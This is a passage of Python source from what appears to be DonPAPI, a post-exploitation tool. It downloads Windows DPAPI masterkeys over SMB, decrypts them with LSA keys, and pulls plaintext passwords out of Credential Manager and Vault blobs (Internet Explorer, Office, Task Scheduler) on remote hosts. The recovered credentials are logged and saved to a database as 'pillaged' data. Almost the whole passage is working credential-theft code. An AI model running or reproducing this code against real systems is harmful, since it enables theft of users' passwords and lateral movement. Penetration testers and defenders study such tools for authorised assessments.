info + = f " Flags : { entry [ ' Flags ' ] } , { impacket . dpapi . getFlags ( impacket . dpapi . CREDENTIAL_FLAGS , entry [ ' Flags ' ] ) } \n "
info + = f " Data : { entry [ ' Data ' ] } \n "
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Exception 2 decrypted_blob.attributes { bcolors . ENDC } " )
self . logging . debug ( ex )
entry . dump ( )
continue
############PROCESSING DATA
self . db . add_credz ( credz_type = ' credential-blob ' ,
credz_username = decrypted_blob [ ' Username ' ] . decode ( ' utf-16le ' ) ,
credz_password = password ,
credz_target = decrypted_blob [ ' Target ' ] . decode ( ' utf-16le ' ) ,
credz_path = localfile ,
pillaged_from_computer_ip = self . options . target_ip ,
pillaged_from_username = user . username )
self . logging . debug ( info )
return info
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Exception 3 dump_credential_blob { bcolors . ENDC } " )
self . logging . debug ( ex )
def dump_CREDENTIAL_TSE ( self , user , localfile , decrypted_blob ) :
# from impacket.ese import getUnixTime
try :
self . logging . debug ( " Dumping TSE decrypted credential blob info to file " )
# self.logging.debug(decrypted_blob)
info = " \n "
info + = f " [CREDENTIAL] \n "
try :
info + = f " LastWritten : { datetime . utcfromtimestamp ( impacket . dpapi . getUnixTime ( decrypted_blob [ ' LastWritten ' ] ) ) } \n "
info + = f " Flags : { decrypted_blob [ ' Flags ' ] } ( { impacket . dpapi . getFlags ( impacket . dpapi . CREDENTIAL_FLAGS , decrypted_blob [ ' Flags ' ] ) } ) \n "
info + = f " Persist : 0x { decrypted_blob [ ' Persist ' ] } ( { impacket . dpapi . CREDENTIAL_PERSIST ( decrypted_blob [ ' Persist ' ] ) . name } ) \n "
info + = f " Type : 0x { decrypted_blob [ ' Type ' ] } ( { impacket . dpapi . CREDENTIAL_PERSIST ( decrypted_blob [ ' Type ' ] ) . name } ) \n "
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Exception 1 decrypted_blob.attributes { bcolors . ENDC } " )
self . logging . debug ( ex )
info + = f " Target : { decrypted_blob [ ' Target ' ] . decode ( ' utf-16le ' ) } \n "
info + = f " Description : { decrypted_blob [ ' Description ' ] . decode ( ' utf-16le ' ) } \n "
info + = f " Unknown : { decrypted_blob [ ' Unknown ' ] . decode ( ' utf-16le ' ) } \n "
info + = f " Username : { decrypted_blob [ ' Username ' ] . decode ( ' utf-16le ' ) } \n "
try :
info + = f " Unknown3 : { decrypted_blob [ ' Unknown3 ' ] . decode ( ' utf-16le ' ) } \n "
password = decrypted_blob [ ' Unknown3 ' ] . decode ( ' utf-16le ' )
except UnicodeDecodeError :
info + = f " Unknown3. : { decrypted_blob [ ' Unknown3 ' ] . decode ( ' latin-1 ' ) } \n "
password = decrypted_blob [ ' Unknown3 ' ] . decode ( ' latin-1 ' )
############PROCESSING DATA
self . db . add_credz ( credz_type = ' browser-internet_explorer ' ,
credz_username = decrypted_blob [ ' Username ' ] . decode ( ' utf-16le ' ) ,
credz_password = password ,
credz_target = decrypted_blob [ ' Target ' ] . decode ( ' utf-16le ' ) ,
credz_path = localfile ,
pillaged_from_computer_ip = self . options . target_ip ,
pillaged_from_username = user . username )
self . logging . debug ( info )
return info
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Exception 3 dump_credential_blob { bcolors . ENDC } " )
self . logging . debug ( ex )
def dump_CREDENTIAL_MSOFFICE ( self , user , localfile , decrypted_blob ) :
# from impacket.ese import getUnixTime
try :
self . logging . debug ( " Dumping Microsoft Office decrypted credential blob info to file " )
# self.logging.debug(decrypted_blob)
info = " \n "
info + = f " [CREDENTIAL] \n "
try :
info + = f " LastWritten : { datetime . utcfromtimestamp ( impacket . dpapi . getUnixTime ( decrypted_blob [ ' LastWritten ' ] ) ) } \n "
info + = f " Flags : { decrypted_blob [ ' Flags ' ] } ( { impacket . dpapi . getFlags ( impacket . dpapi . CREDENTIAL_FLAGS , decrypted_blob [ ' Flags ' ] ) } ) \n "
info + = f " Persist : 0x { decrypted_blob [ ' Persist ' ] } ( { impacket . dpapi . CREDENTIAL_PERSIST ( decrypted_blob [ ' Persist ' ] ) . name } ) \n "
info + = f " Type : 0x { decrypted_blob [ ' Type ' ] } ( { impacket . dpapi . CREDENTIAL_PERSIST ( decrypted_blob [ ' Type ' ] ) . name } ) \n "
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Exception 1 decrypted_blob.attributes { bcolors . ENDC } " )
self . logging . debug ( ex )
info + = f " Target : { decrypted_blob [ ' Target ' ] . decode ( ' utf-16le ' ) } \n "
info + = f " Description : { decrypted_blob [ ' Description ' ] . decode ( ' utf-16le ' ) } \n "
info + = f " Unknown : { decrypted_blob [ ' Unknown ' ] . decode ( ' utf-16le ' ) } \n "
info + = f " Username : { decrypted_blob [ ' Username ' ] . decode ( ' utf-16le ' ) } \n "
try :
info + = f " Unknown3 : { decrypted_blob [ ' Unknown3 ' ] . decode ( ' utf-16le ' ) } \n "
password = decrypted_blob [ ' Unknown3 ' ] . decode ( ' utf-16le ' )
except UnicodeDecodeError :
info + = f " Unknown3. : { decrypted_blob [ ' Unknown3 ' ] . decode ( ' latin-1 ' ) } \n "
password = decrypted_blob [ ' Unknown3 ' ] . decode ( ' latin-1 ' )
############PROCESSING DATA
self . db . add_credz ( credz_type = ' browser-internet_explorer ' ,
credz_username = decrypted_blob [ ' Username ' ] . decode ( ' utf-16le ' ) ,
credz_password = password ,
credz_target = decrypted_blob [ ' Target ' ] . decode ( ' utf-16le ' ) ,
credz_path = localfile ,
pillaged_from_computer_ip = self . options . target_ip ,
pillaged_from_username = user . username )
self . logging . debug ( info )
return info
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Exception 3 dump_credential_blob { bcolors . ENDC } " )
self . logging . debug ( ex )
def dump_CREDENTIAL_TASKSCHEDULER ( self , user , localfile , decrypted_blob ) :
# from impacket.ese import getUnixTime
try :
self . logging . debug ( " Dumping TASKSCHEDULER decrypted credential blob info to file " )
# self.logging.debug(decrypted_blob)
info = " \n "
info + = f " [CREDENTIAL] \n "
try :
info + = f " LastWritten : { datetime . utcfromtimestamp ( impacket . dpapi . getUnixTime ( decrypted_blob [ ' LastWritten ' ] ) ) } \n "
info + = f " Flags : { decrypted_blob [ ' Flags ' ] } ( { impacket . dpapi . getFlags ( impacket . dpapi . CREDENTIAL_FLAGS , decrypted_blob [ ' Flags ' ] ) } ) \n "
info + = f " Persist : 0x { decrypted_blob [ ' Persist ' ] } ( { impacket . dpapi . CREDENTIAL_PERSIST ( decrypted_blob [ ' Persist ' ] ) . name } ) \n "
info + = f " Type : 0x { decrypted_blob [ ' Type ' ] } ( { impacket . dpapi . CREDENTIAL_PERSIST ( decrypted_blob [ ' Type ' ] ) . name } ) \n "
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Exception 1 decrypted_blob.attributes { bcolors . ENDC } " )
self . logging . debug ( ex )
info + = f " Target : { decrypted_blob [ ' Target ' ] . decode ( ' utf-16le ' ) } \n "
info + = f " Description : { decrypted_blob [ ' Description ' ] . decode ( ' utf-16le ' ) } \n "
info + = f " Unknown : { decrypted_blob [ ' Unknown ' ] . decode ( ' utf-16le ' ) } \n "
info + = f " Username : { decrypted_blob [ ' Username ' ] . decode ( ' utf-16le ' ) } \n "
try :
info + = f " Unknown3 : { decrypted_blob [ ' Unknown3 ' ] . decode ( ' utf-16le ' ) } \n "
password = decrypted_blob [ ' Unknown3 ' ] . decode ( ' utf-16le ' )
except UnicodeDecodeError :
info + = f " Unknown3. : { decrypted_blob [ ' Unknown3 ' ] . decode ( ' latin-1 ' ) } \n "
password = decrypted_blob [ ' Unknown3 ' ] . decode ( ' latin-1 ' )
############PROCESSING DATA
self . db . add_credz ( credz_type = ' taskscheduler ' ,
credz_username = decrypted_blob [ ' Username ' ] . decode ( ' utf-16le ' ) ,
credz_password = password ,
credz_target = decrypted_blob [ ' Target ' ] . decode ( ' utf-16le ' ) ,
credz_path = localfile ,
pillaged_from_computer_ip = self . options . target_ip ,
pillaged_from_username = user . username )
self . logging . debug ( info )
return info
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Exception 3 dump_credential_blob { bcolors . ENDC } " )
self . logging . debug ( ex )
def process_decrypted_vault ( self , user , secret_file ) : # data ,user ,localfile,blob_type,args=[]):
try :
self . logging . debug (
f " [ { self . options . target_ip } ] [+] process_decrypted_vault of { secret_file } { bcolors . ENDC } " )
blob_type = secret_file [ ' type ' ]
localfile = secret_file [ ' path ' ]
data = secret_file [ ' data ' ]
if blob_type == ' vault ' or blob_type == ' vcrd ' :
try :
vault_name = secret_file [ ' vault_name ' ] # args[0]
vault_type = secret_file [ ' vault_type ' ] # args[1]
self . logging . debug ( f " Processing Vault { vault_name } - type : { vault_type } " )
if vault_type == ' WinBio Key ' :
data = self . dump_VAULT_WIN_BIO_KEY ( user , localfile , data )
self . logsecret ( f " Vault { vault_name } : { data } " )
elif vault_type == ' NGC Local Account Logon Vault Credential ' :
data = self . dump_VAULT_NGC_LOCAL_ACCOOUNT ( user , localfile , data )
self . logsecret ( f " Vault { vault_name } : { data } " )
elif " NGC " in vault_type :
data = self . dump_VAULT_NGC_ACCOOUNT ( user , localfile , data )
self . logsecret ( f " Vault { vault_name } : { data } " )
elif vault_type == ' Internet Explorer ' :
data = self . dump_VAULT_INTERNET_EXPLORER ( user , localfile , data )
# user.secrets["Vault:%s" % vault_name] = data
secret_file [ ' secret ' ] = data
self . dump_to_file ( localfile , data )
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Except 1 process_decrypted_data Vault for { localfile } { bcolors . ENDC } " )
self . logging . debug ( ex )
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Except 2 process_decrypted_data ALL for { localfile } { bcolors . ENDC } " )
self . logging . debug ( ex )
def dump_VAULT_INTERNET_EXPLORER ( self , user , localfile , vault_blob ) :
try :
self . logging . debug ( " Formating VAULT_INTERNET_EXPLORER info " )
retval = " [Internet Explorer] \n "
retval + = f " Username : { vault_blob [ ' Username ' ] . decode ( ' utf-16le ' ) } \n "
retval + = f " Resource : { vault_blob [ ' Resource ' ] . decode ( ' utf-16le ' ) } \n "
retval + = f " Password : { vault_blob [ ' Password ' ] . decode ( ' utf-16le ' ) } : { hexlify ( vault_blob [ ' Password ' ] ) } \n "
############PROCESSING DATA
self . db . add_credz ( credz_type = ' browser-internet_explorer ' ,
credz_username = f " { vault_blob [ ' Username ' ] . decode ( ' utf-16le ' ) } " ,
credz_password = f " { vault_blob [ ' Password ' ] . decode ( ' utf-16le ' ) } " ,
credz_target = f " { vault_blob [ ' Resource ' ] . decode ( ' utf-16le ' ) } " ,
credz_path = localfile ,
pillaged_from_computer_ip = self . options . target_ip ,
pillaged_from_username = user . username )
self . logging . info (
2023-10-06 13:15:07 +00:00
f " [ { self . options . target_ip } ] [+] { bcolors . OKGREEN } [Internet Explorer] { bcolors . ENDC } for { vault_blob [ ' Resource ' ] . decode ( ' utf-16le ' ) } [ { bcolors . OKBLUE } { vault_blob [ ' Username ' ] . decode ( ' utf-16le ' ) } : { vault_blob [ ' Password ' ] . decode ( ' utf-16le ' ) } { bcolors . ENDC } ] " )
2023-10-03 05:27:06 +00:00
return retval
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Exception dump_VAULT_INTERNET_EXPLORER { bcolors . ENDC } " )
self . logging . debug ( ex )
def dump_VAULT_WIN_BIO_KEY ( self , user , localfile , vault_blob ) :
try :
self . logging . debug ( " Dumping VAULT_WIN_BIO_KEY info to file " )
retval = " \n [WINDOWS BIOMETRIC KEY] \n "
retval + = ' Sid : %s \n ' % RPC_SID ( b ' \x05 \x00 \x00 \x00 ' + vault_blob [ ' Sid ' ] ) . formatCanonical ( )
retval + = f " Friendly Name: { vault_blob [ ' Name ' ] . decode ( ' utf-16le ' ) } \n "
retval + = f " Biometric Key: 0x { hexlify ( vault_blob [ ' BioKey ' ] [ ' bKey ' ] ) . decode ( ' latin-1 ' ) } \n "
return retval
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Exception dump_VAULT_WIN_BIO_KEY { bcolors . ENDC } " )
self . logging . debug ( ex )
def dump_VAULT_NGC_LOCAL_ACCOOUNT ( self , user , localfile , vault_blob ) :
try :
self . logging . debug ( " Dumping NGC_LOCAL_ACCOOUNT info to file " )
retval = " \n [NGC LOCAL ACCOOUNT] \n "
retval + = ' UnlockKey : %s \n ' % hexlify ( vault_blob [ " UnlockKey " ] )
retval + = ' IV : %s \n ' % hexlify ( vault_blob [ " IV " ] )
retval + = ' CipherText : %s \n ' % hexlify ( vault_blob [ " CipherText " ] )
return retval
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Exception dump_NGC_LOCAL_ACCOOUNT { bcolors . ENDC } " )
self . logging . debug ( ex )
def dump_VAULT_NGC_ACCOOUNT ( self , user , localfile , vault_blob ) :
try :
self . logging . debug ( " Dumping VAULT_NGC_ACCOOUNT info to file " )
retval = " \n [NGC VAULT] \n "
retval + = ' Sid : %s \n ' % RPC_SID ( b ' \x05 \x00 \x00 \x00 ' + vault_blob [ ' Sid ' ] ) . formatCanonical ( )
retval + = ' Friendly Name: %s \n ' % vault_blob [ ' Name ' ] . decode ( ' utf-16le ' )
# A completer ?
vault_blob [ ' Blob ' ] . dump ( )
return retval
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Exception dump_VAULT_NGC_ACCOOUNT { bcolors . ENDC } " )
self . logging . debug ( ex )
def do_who ( self ) :
# if self.loggedIn is False:
# self.logging.error("Not logged in")
# return
rpctransport = transport . SMBTransport ( self . smb . getRemoteHost ( ) , filename = r ' \ srvsvc ' ,
smb_connection = self . smb )
dce = rpctransport . get_dce_rpc ( )
dce . connect ( )
dce . bind ( srvs . MSRPC_UUID_SRVS )
resp = srvs . hNetrSessionEnum ( dce , NULL , NULL , 10 )
for session in resp [ ' InfoStruct ' ] [ ' SessionInfo ' ] [ ' Level10 ' ] [ ' Buffer ' ] :
self . logging . info ( " host: %15s , user: %5s , active: %5d , idle: %5d " % (
session [ ' sesi10_cname ' ] [ : - 1 ] , session [ ' sesi10_username ' ] [ : - 1 ] , session [ ' sesi10_time ' ] ,
session [ ' sesi10_idle_time ' ] ) )
self . db . add_connected_user ( username = session [ ' sesi10_username ' ] [ : - 1 ] , ip = session [ ' sesi10_cname ' ] [ : - 1 ] )
def get_users ( self ) :
self . logging . debug ( " Listing Users by enumerating directories in $Share \\ Users " )
blacklist = [ ' . ' , ' .. ' , ' desktop.ini ' ]
shares = self . myfileops . get_shares ( )
# Intégrer les users share du premier test
if ' C$ ' in shares : # Most likely
self . myfileops . do_use ( ' C$ ' )
# self.myfileops.pwd = 'Users'
completion = self . myfileops . do_ls ( ' Users ' , ' * ' , display = False )
for infos in completion :
longname , is_directory = infos
if is_directory and longname not in blacklist :
for user in self . users :
if longname == user . username :
break
else :
self . users . append ( MyUser ( longname , self . logging , self . options ) )
self . logging . info (
f " [ { self . options . target_ip } ] [+] Found user { bcolors . OKBLUE } { longname } { bcolors . ENDC } " )
user = self . GetUserByName ( longname )
self . db . add_user ( username = user . username , pillaged_from_computer_ip = self . options . target_ip )
user . share = ' C$ '
else :
for share in shares :
self . myfileops . do_use ( share )
# self.pwd = 'Users'
completion = self . myfileops . do_ls ( ' Users ' , ' * ' , display = False )
for infos in completion :
longname , is_directory = infos
if is_directory and longname not in blacklist :
for user in self . users :
if longname == user [ ' username ' ] :
break
else :
self . users . append ( MyUser ( longname , self . logging , self . options ) )
self . logging . debug (
f " [ { self . options . target_ip } ] Found user { bcolors . OKBLUE } { longname } { bcolors . ENDC } " )
user = self . GetUserByName ( longname )
self . db . add_user ( username = user . username , pillaged_from_computer_ip = self . options . target_ip )
user . share = share
# +ADD LOCAL MACHINE ACCOUNT
user = MyUser ( " MACHINE$ " , self . logging , self . options )
user . type = ' MACHINE '
user . share = ' C$ '
self . users . append ( user )
self . db . add_user ( username = user . username , pillaged_from_computer_ip = self . options . target_ip )
return self . users
def get_masterkeys ( self ) :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . OKBLUE } [+] Gathering masterkeys on the target { bcolors . ENDC } " )
blacklist = [ ' . ' , ' .. ' ]
# self.get_shares()
# self.get_users()
for user in self . users :
if user . username != ' MACHINE$ ' :
try :
tmp_pwd = ntpath . join ( ntpath . join ( ' Users ' , user . username ) , ' AppData \\ Roaming \\ Microsoft \\ Protect ' )
self . logging . debug (
f " [ { self . options . target_ip } ] Looking for { bcolors . OKBLUE } { user . username } { bcolors . ENDC } Masterkey in %s " % tmp_pwd )
my_directory = self . myfileops . do_ls ( tmp_pwd , ' ' , display = True )
for infos in my_directory :
try :
longname , is_directory = infos
if longname not in blacklist :
self . logging . debug ( f " [ { self . options . target_ip } ] Analysing { longname } for Masterkeys " )
if is_directory and longname [ : 2 ] == ' S- ' : # SID
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . OKBLUE } { user . username } { bcolors . ENDC } - Found SID { longname } " )
user . sid = longname
if user . sid . startswith ( ' S-1-5-80 ' ) :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . FAIL } { user . username } { bcolors . ENDC } - Found AD CONNECT SID { longname } " )
user . is_adconnect = True
# user.check_usertype()
tmp_pwd2 = ntpath . join ( tmp_pwd , longname )
my_directory2 = self . myfileops . do_ls ( tmp_pwd2 , ' ' , display = False )
for infos2 in my_directory2 :
longname2 , is_directory2 = infos2
if not is_directory2 and is_guid ( longname2 ) : # GUID
self . download_masterkey ( user , tmp_pwd2 , longname2 , type = ' USER ' )
elif is_directory :
self . logging . debug (
f " [ { self . options . target_ip } ] Found Directory %s -> doing nothing " % longname )
else :
self . logging . debug ( f " [ { self . options . target_ip } ] Found file %s " % longname )
if " CREDHIST " in longname :
self . download_credhist ( user , tmp_pwd , longname , type = ' USER ' )
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Exception in get_masterkeys for { longname } { bcolors . ENDC } " )
self . logging . debug ( ex )
continue
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Exception get_masterkeys { bcolors . ENDC } " )
self . logging . debug ( ex )
continue
##MACHINE MASTERKEYS
try :
user = self . GetUserByName ( ' MACHINE$ ' )
# Make a "MACHINE$" user
""" user=MyUser( " MACHINE$ " ,self.logging,self.options)
user . type = ' MACHINE '
self . users . append ( user ) """
tmp_pwd = ' Windows \\ System32 \\ Microsoft \\ Protect ' # Add Windows\ServiceProfiles\ADSync\AppData\Roaming\Microsoft\Protect\ for ADConnect ?
self . logging . debug ( f " [ { self . options . target_ip } ] Looking for Machine Masterkey in %s " % tmp_pwd )
my_directory = self . myfileops . do_ls ( tmp_pwd , ' ' , display = False )
for infos in my_directory :
longname , is_directory = infos
if longname not in blacklist :
if is_directory and longname [ : 2 ] == ' S- ' : # SID
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . OKBLUE } { user . username } { bcolors . ENDC } - Found SID { longname } " )
user . sid = longname
if user . sid . startswith ( ' S-1-5-80 ' ) :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . FAIL } { user . username } { bcolors . ENDC } - Found AD CONNECT SID { longname } " )
user . is_adconnect = True
tmp_pwd2 = ntpath . join ( tmp_pwd , longname )
my_directory2 = self . myfileops . do_ls ( tmp_pwd2 , ' ' , display = False )
for infos2 in my_directory2 :
longname2 , is_directory2 = infos2
if longname2 not in blacklist :
if not is_directory2 and is_guid ( longname2 ) : # GUID
# Downloading file
self . download_masterkey ( user , tmp_pwd2 , longname2 , type = ' MACHINE ' )
elif is_directory2 and longname2 == ' User ' : # On se limite a ca pour le moment
tmp_pwd3 = ntpath . join ( tmp_pwd2 , longname2 )
my_directory3 = self . myfileops . do_ls ( tmp_pwd3 , ' ' , display = False )
for infos3 in my_directory3 :
longname3 , is_directory3 = infos3
if longname3 not in blacklist :
if not is_directory3 and is_guid ( longname3 ) : # GUID
self . logging . debug (
f " [ { self . options . target_ip } ] { user . username } - Found GUID { longname3 } " )
# Downloading file
self . download_masterkey ( user , tmp_pwd3 , longname3 , type = ' MACHINE-USER ' )
else :
self . logging . debug (
" Found unexpected file/directory %s in %s " % ( tmp_pwd3 , longname3 ) )
else :
self . logging . debug (
" Found unexpected file/directory %s in %s " % ( tmp_pwd2 , longname2 ) )
elif is_directory :
self . logging . debug ( " Found (not SID) Directory %s " % longname )
else :
self . logging . debug ( " Found file %s " % longname )
if " CREDHIST " in longname :
self . download_credhist ( user , tmp_pwd , longname , type = ' MACHINE ' )
except Exception as ex :
self . logging . error (
f " [ { self . options . target_ip } ] { bcolors . FAIL } Error in GetMasterkey (Machine) { bcolors . ENDC } " )
self . logging . debug ( ex )
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . OKBLUE } [-] Gathered Masterkeys for { len ( self . users ) } users { bcolors . ENDC } " )
def download_credhist ( self , user , tmp_pwd , longname , type = ' MACHINE ' ) :
# Downloading file
try :
self . logging . debug (
f " [ { self . options . target_ip } ] [...] Downloading CREDHIST { user . username } { tmp_pwd } { longname } " )
# from DonPAPI.lib.dpapi_pick.credhist import CredHistFile
# localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname))
''' f=open(localfile, ' rb ' )
credhistdata = f . read ( )
f . close ( )
myCredhistfile = CredHistFile ( raw = credhistdata )
print ( repr ( myCredhistfile ) )
#myCredhistfile = CredHistFile(raw=credhistdata)
for username in self . options . credz :
if username in user . username : # pour fonctionner aussi avec le .domain ou les sessions multiple citrix en user.domain.001 ?
self . logging . debug ( f " [ { self . options . target_ip } ] [...] Testing { len ( self . options . credz [ username ] ) } credz for user { user . username } CREDHIST " )
for password in self . options . credz [ username ] :
ret = myCredhistfile . decryptWithPassword ( password )
print ( ret )
'''
except Exception as ex :
self . logging . error ( f " [ { self . options . target_ip } ] { bcolors . FAIL } Error in Decrypting Credhist { bcolors . ENDC } " )
self . logging . debug ( ex )
def download_masterkey ( self , user , path , guid , type ) :
guid = guid . lower ( )
if is_guid ( guid ) :
self . logging . debug ( f " [ { self . options . target_ip } ] { user . username } - Found GUID { guid } " )
# Downloading file
localfile = self . myfileops . get_file ( ntpath . join ( path , guid ) )
# Get Type and hash
try :
myoptions = copy . deepcopy ( self . options )
myoptions . sid = user . sid
myoptions . username = user . username
myoptions . pvk = None
myoptions . file = localfile # Masterkeyfile to parse
# myoptions.key = key.decode("utf-8")
mydpapi = DPAPI ( myoptions , self . logging )
if self . options . GetHashes == True :
masterkey_hash , is_domain_sid = mydpapi . get_masterkey_hash ( generate_hash = True )
else :
masterkey_hash , is_domain_sid = mydpapi . get_masterkey_hash ( generate_hash = False )
except Exception as ex :
self . logging . error (
f " [ { self . options . target_ip } ] { bcolors . FAIL } Error in DownloadMasterkey - get_masterkey_hash { bcolors . ENDC } " )
self . logging . debug ( ex )
try :
user . masterkeys_file [ guid ] = { }
user . masterkeys_file [ guid ] [ ' path ' ] = localfile
user . masterkeys_file [ guid ] [ ' status ' ] = ' encrypted '
if self . options . GetHashes == True :
user . masterkeys_file [ guid ] [ ' hash ' ] = masterkey_hash
if is_domain_sid and user . username != ' MACHINE$ ' :
type = ' DOMAIN '
user . type_validated = True
user . type = type # LOCAL,DOMAIN,MACHINE,MACHINE-USER
self . db . add_sid ( username = user . username , sid = user . sid )
self . db . add_masterkey ( file_path = user . masterkeys_file [ guid ] [ ' path ' ] , guid = guid ,
status = user . masterkeys_file [ guid ] [ ' status ' ] ,
pillaged_from_computer_ip = self . options . target_ip ,
pillaged_from_username = user . username )
if self . options . GetHashes == True :
for hash in user . masterkeys_file [ guid ] [ ' hash ' ] :
self . db . add_dpapi_hash ( file_path = user . masterkeys_file [ guid ] [ ' path ' ] , sid = user . sid , guid = guid ,
hash = hash , context = type , pillaged_from_computer_ip = self . options . target_ip )
except Exception as ex :
self . logging . error (
f " [ { self . options . target_ip } ] { bcolors . FAIL } Error in Database entry - download_masterkey_hash { bcolors . ENDC } " )
self . logging . debug ( ex )
def get_masterkey ( self , user , guid , type ) :
guid = guid . lower ( )
if guid not in user . masterkeys_file :
self . logging . debug (
f " [ { self . options . target_ip } ] [!] { bcolors . FAIL } { user . username } { bcolors . ENDC } masterkey { guid } not found " )
return - 1
else :
self . logging . debug (
f " [ { self . options . target_ip } ] [-] { bcolors . OKBLUE } { user . username } { bcolors . ENDC } masterkey { guid } Found " )
if user . masterkeys_file [ guid ] [ ' status ' ] == ' decrypted ' :
self . logging . debug (
f " [ { self . options . target_ip } ] [-] { bcolors . OKBLUE } { user . username } { bcolors . ENDC } masterkey { guid } already decrypted " )
return user . masterkeys_file [ guid ]
elif user . masterkeys_file [ guid ] [ ' status ' ] == ' encrypted ' :
return self . decrypt_masterkey ( user , guid , type , tested_type = [ ] )
def decrypt_masterkey ( self , user , guid , type = ' ' , tested_type = [ ] ) :
self . logging . debug (
f " [ { self . options . target_ip } ] [...] Decrypting { bcolors . OKBLUE } { user . username } { bcolors . ENDC } masterkey { guid } of type { type } (type_validated= { user . type_validated } /user.type= { user . type } ) - tested : { tested_type } " )
guid = guid . lower ( )
if guid not in user . masterkeys_file :
self . logging . debug (
f " [ { self . options . target_ip } ] [!] { bcolors . FAIL } { user . username } { bcolors . ENDC } masterkey { guid } not found " )
return - 1
localfile = user . masterkeys_file [ guid ] [ ' path ' ]
if user . masterkeys_file [ guid ] [ ' status ' ] == ' decrypted ' :
self . logging . debug (
f " [ { self . options . target_ip } ] [-] { bcolors . OKBLUE } { user . username } { bcolors . ENDC } masterkey { guid } already decrypted " )
return user . masterkeys_file [ guid ]
else :
# if user.type_validated == True:
# type=user.type
if type == ' ' :
type = user . type
if ' MACHINE ' in tested_type and ' MACHINE-USER ' in tested_type and ' DOMAIN ' in tested_type and ' LOCAL ' in tested_type :
self . logging . debug (
f " [ { self . options . target_ip } ] [!] { bcolors . FAIL } { user . username } { bcolors . ENDC } masterkey { guid } : All decryption type failed " )
return - 1
if type == ' MACHINE ' :
# Try de decrypt masterkey file
for key in self . machine_key :
self . logging . debug (
f " [ { self . options . target_ip } ] [...] Decrypting { bcolors . OKBLUE } { user . username } { bcolors . ENDC } masterkey { guid } with MACHINE_Key from LSA { key . decode ( ' utf-8 ' ) } " )
try :
myoptions = copy . deepcopy ( self . options )
myoptions . sid = None # user.sid
myoptions . username = user . username
myoptions . pvk = None
myoptions . file = localfile # Masterkeyfile to parse
myoptions . key = key . decode ( " utf-8 " )
mydpapi = DPAPI ( myoptions , self . logging )
decrypted_masterkey = mydpapi . decrypt_masterkey ( )
if decrypted_masterkey != None and decrypted_masterkey != - 1 :
# self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}[...] Maserkey {bcolors.ENDC}{localfile} {bcolors.ENDC}: {decrypted_masterkey}" )
user . masterkeys_file [ guid ] [ ' status ' ] = ' decrypted '
user . masterkeys_file [ guid ] [ ' key ' ] = decrypted_masterkey
# user.masterkeys[localfile] = decrypted_masterkey
user . type = ' MACHINE '
user . type_validated = True
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . OKBLUE } Decryption successfull { bcolors . ENDC } of Masterkey { guid } for Machine { bcolors . OKGREEN } { user . username } { bcolors . ENDC } \n Key: { decrypted_masterkey } " )
self . db . update_masterkey ( file_path = user . masterkeys_file [ guid ] [ ' path ' ] , guid = guid ,
status = user . masterkeys_file [ guid ] [ ' status ' ] ,
decrypted_with = " MACHINE-KEY " , decrypted_value = decrypted_masterkey ,
pillaged_from_computer_ip = self . options . target_ip ,
pillaged_from_username = user . username )
return user . masterkeys_file [ guid ]
else :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } MACHINE-Key from LSA { key . decode ( ' utf-8 ' ) } can ' t decode { bcolors . OKBLUE } { user . username } { bcolors . ENDC } Masterkey { guid } { bcolors . ENDC } " )
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] Exception { bcolors . WARNING } MACHINE-Key from LSA { key . decode ( ' utf-8 ' ) } can ' t decode { bcolors . OKBLUE } { user . username } { bcolors . ENDC } Masterkey { guid } { bcolors . ENDC } " )
self . logging . debug ( ex )
else :
# if user.type_validated == False:
tested_type . append ( ' MACHINE ' )
self . decrypt_masterkey ( user , guid , type = ' MACHINE-USER ' , tested_type = tested_type )
elif type == ' MACHINE-USER ' :
# Try de decrypt masterkey file
for key in self . user_key :
self . logging . debug (
f " [ { self . options . target_ip } ] [...] Decrypting { bcolors . OKBLUE } { user . username } { bcolors . ENDC } masterkey { guid } with MACHINE-USER_Key from LSA { key . decode ( ' utf-8 ' ) } " ) # and SID %s , user.sid ))
try :
# key1, key2 = deriveKeysFromUserkey(tsid, userkey)
myoptions = copy . deepcopy ( self . options )
myoptions . file = localfile # Masterkeyfile to parse
if user . is_adconnect is True :
myoptions . key = key . decode ( " utf-8 " )
myoptions . sid = user . sid
else :
myoptions . key = key . decode ( " utf-8 " ) # None
myoptions . sid = None # user.sid
myoptions . username = user . username
myoptions . pvk = None
mydpapi = DPAPI ( myoptions , self . logging )
decrypted_masterkey = mydpapi . decrypt_masterkey ( )
if decrypted_masterkey != - 1 and decrypted_masterkey != None :
# self.logging.debug(f"[{self.options.target_ip}] Decryption successfull {bcolors.ENDC}: {decrypted_masterkey}")
user . masterkeys_file [ guid ] [ ' status ' ] = ' decrypted '
